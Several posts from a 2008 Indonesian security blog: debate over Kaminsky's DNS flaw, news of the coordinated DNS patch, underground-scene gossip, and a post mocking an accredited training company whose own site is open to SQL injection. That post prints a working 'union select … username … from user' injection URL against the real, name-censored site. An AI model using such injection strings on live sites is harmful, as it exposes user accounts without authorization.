Hasil analisis Thomas Ptacek, bukan hanya masalah source port, namun juga randomisasi XID. Dan menurut ptacek, hanya dengan tambahan bugs semacam ini yang sebetulnya telah diperbaiki oleh banyak DNS server beberapa tahun lalu tidak perlu membuat kehebohan seperti yang dilakukan Dan Kaminsky. Namun setelah Ptacek mendapatkan penjelasan dari Dan Kaminsky secara lengkap mengenai bug DNS tersebut, ptacek mengakui bugs tersebut merupakan hal serius yang harus ditangani dengan baik. Walaupun, DJBDNS telah diklaim tidak vulnerable terhadap bugs tersebut.

Well, sangat menarik membaca comment di blog matasano mengenai hal ini. Banyak komunitas security yang bertanya-tanya seperti apakah hole DNS yang dimaksud oleh Dan Kaminsky, mengapa hole tersebut begitu berbahaya?! Perdebatan mengenai DNS ini bisa dibaca pada blog matasano.

Anyway, DNS merupakan salah satu infrastruktur paling penting di internet. Kenapa?! karena DNS lah yang akan menunjukan kita alamat sebenarnya dari server yang akan dituju. Jika attacker bisa menguasai DNS dan mengarahkan pengunjung ke suatu server yang telah di kontrol, maka berarti game-over.

Perdebatan ini sekaligus juga menunjukan perkembangan dunia blog, dimana isi komentar bisa dijadikan sebagai tempat untuk berdiskusi. Sepertinya fungsi mailing list dan forum sebagai media diskusi mulai mendapatkan saingan :).

July 10, 2008

IT Training Specialist - “are you?!”

Filed under: Websecurity — staff @ 4:34 am

Baru-baru ini saya sering diskusi dan melihat secara langsung kemampuan salah satu web hacker dari komunitas underground Indonesia yang sering merilis exploit untuk beragam aplikasi web, bukan hanya sebatas bughunter namun memang dengan skill nya dapat dengan mudah melakukan berbagai exploitasi web bug dalam waktu singkat. Beberapa kali rekan ini menunjukan bugs sql-injection di situs-situs yang notabene memiliki fungsionalitas cukup tinggi, dalam arti banyak diakses oleh beragam orang untuk beragam kepentingan (salah satunya situs lowongan pekerjaan dengan level internasional).

Diantara situs-situs tersebut, salah satunya cukup menarik perhatian untuk dijadikan bahan gosip, ups…maksudnya sebagai bahan kajian diskusi. Ini cuplikan kalimat homepagenya:

*cencored* hadir di Kota Jogjakarta dengan membawa misi untuk menggairahkan iklim pengembangan Teknologi Informasi & Komunikasi. Teknologi Komputer sebagai bagian penting dari teknologi informasi itu sendiri menjadi syarat mutlak bagi setiap sumber daya manusia Indonesia untuk menguasainya. Penguasaan teknologi informasi akan membawa pada peningkatan efisiensi, efektifitas dan produktifitas kerja.

Dalam eksistensinya sejak 2 Mei 2001, pada tanggal 15 April 2008, dalam 7th Anniversary-nya *cencored* telah mentraining lebih dari 4700 siswa kelas reguler dan program profesi serta lebih dari 1500 siswa yang mengikuti program event *cencored*.

Pada Tanggal 27 Desember 2002, berdasarkan SK No.60 tahun 2002, *cencored* memperoleh “Akreditasi A” dari Dinas Pendidikan Propinsi D.I.Yogyakarta.

Waw! Seem so promising. What else?!

Pada tanggal 24 Juni s/d 2 Juli 2008 berlangsung Pelatihan Aplikasi Web Programming & Aplikasi Manajemen Pengolahan Data yang diikuti Staf Kantor Pengolahan Data Staf KPDE Kab.Timor Tengah Selatan NTT…

Good. Menjadi salah satu lembaga training aplikasi web untuk pemerintah. Lembaga training ini menggunakan CMS sendiri untuk homepagenya, but here come the fun:

http://www.cencored.com/webring.php?id=-1 union select 1,2,3,username,5,6 from user

Seperti yang telah diketahui bersama, ini adalah tipikal query untuk sql-injection sederhana. Result?!

http://img99.imageshack.us/my.php?image=picture4mk4.png

Berdasarkan informasi page rank situs tersebut menduduki peringkat 2, dan masuk 10 besar hasil pencarian google indonesia untuk keyword “training center”.

Got the point where these stories pointing to?! Lembaga ini mengklaim telah men-training sampai lebih dari 5000 peserta, dan banyak peserta training merupakan para calon developer untuk perusahaan swasta maupun pemerintah, namun situs hasil karya lembaga ini memiliki hole sql-injection sederhana (ya ya…bug bisa muncul dimanapun, tapi paling tidak seharusnya lembaga profesional dengan akreditasi “A” tidak terkena efek tipikal hole sql sederhana semacam ini).

What next?!jika developer lembaga training sendiri masih melakukan kesalahan seperti ini saat develop web aplikasi, apakah bisa dikatakan bahwa kesalahan yang sama akan diterapkan pada peserta training?! Lembaga training ini hanya salah satu contoh, dan mungkin masih terdapat masalah yang sama terhadap trainer-trainer lainnya?! Sehingga tidak mengherankan banyak situs-situs pemerintah yang rentan terhadap serangan sql-injection?!

Jika suatu saat lembaga pemerintah atau perusahaan swasta terkena exploitasi web bug dan dipertanyakan tanggung jawab tim IT-nya, dan kemudian mereka menjawab “lah, saya khan develop aplikasi sesuai ajaran saat training, saya tidak tau ada masalah-masalah semacam itu”. Hm, apa kita bisa usulkan untuk memasukan faktor ini kedalam kurikulum security auditor?!mungkin harus ada audit lembaga training yang mentraining tim IT suatu perusahaan sebelum meng-audit tim IT-nya?!

well…

July 9, 2008

Massive DNS Patch

Filed under: News — Cyberheb @ 1:55 pm

Dan kaminsky menemukan security hole pada implementasi DNS, celah ini diindikasikan dapat membuat attacker me-redirect request ke suatu sistem yang diinginkan. Bersama dengan riset dari Dan kaminsky ini, telah dilakukan kesepakatan dengan 81 vendor untuk melakukan patch secara bersamaan dan Dan Kaminsky akan melakukan full disclosure pada Black Hat bulan agustus mendatang.

Today, CERT is issuing an advisory for a massive multivendor patch release to resolve a major issue in DNS that could allow attackers to easily compromise any name server (it also affects clients). Dan Kaminsky discovered the flaw early this year and has been working with a large group of vendors on a coordinated patch release.

The issue is extremely serious, and all name servers should be patched as soon as possible. Updates are also being released for a variety of other platforms since this is a problem with the DNS protocol itself, not a specific implementation. The good news is this is a really strange situation where the fix does not immediately reveal the vulnerability and reverse engineering isn’t directly possible.

Dan asked for some assistance in getting the word out and was kind enough to sit down with me for an interview. We discuss the importance of DNS, why this issue is such a problem, how he discovered it, and how such a large group of vendors was able to come together, decide on a fix, keep it secret, and all issue on the same day.

Dan and the vendors, did an amazing job with this one. We’ve also attached the official CERT release and an Executive Overview document discussing the issue.

Check the complete story from here.

July 2, 2008

lul-disclosure inc.

Filed under: News, Underground — Cyberheb @ 4:33 am

Beberapa waktu yang lalu saya sempat berharap cukup besar pada sepak terjang GOBBLES yang akan menantang matasano, dengan begitu mungkin akan membangkitkan kembali gairah di underground dan yang pasti…mendapatkan hiburan dari kreativitas penghuni underground. Tapi ternyata ZF0 lebih aktif dibandingkan blog GOBBLES yang tidak pernah diupdate, sedangkan matasano masih tetap update blog mereka (unless…saya yang ketinggalan berita).

Well, sekarang muncul lul-disclosure.net dengan style underground-nya. lul-disclosure menjadi tempat pembuktian LMH untuk local eksploit pada openbsd yang sebelumnya sempat dibicarakan oleh LMH di email ‘perpisahan’ yang dikirimkan pada mailing list daily dave. Eksploit yang diklaim telah lama beredar di underground ini melakukan eksploitas pada bugs lama openbsd, dan sekali lagi menunjukan kreativitas LMH selain hasil kreasinya pada web interface metasploit (msfweb of metasploit) yang menggunakan Ruby on Rails. Silahkan berpendapat masing-masing apakah LMH itu satu orang, atau sebuah group, atau individu-individu yang saling terpisah satu sama lain namum memanfaatkan kepopuleran LMH.

At least, mungkin lul-disclosure inc. bisa memberikan warna tersendiri untuk aktivitas underground berikutnya (setelah h0n0, el8, pHC, GOBBLES). Let’s see…

Blog By You-Know-What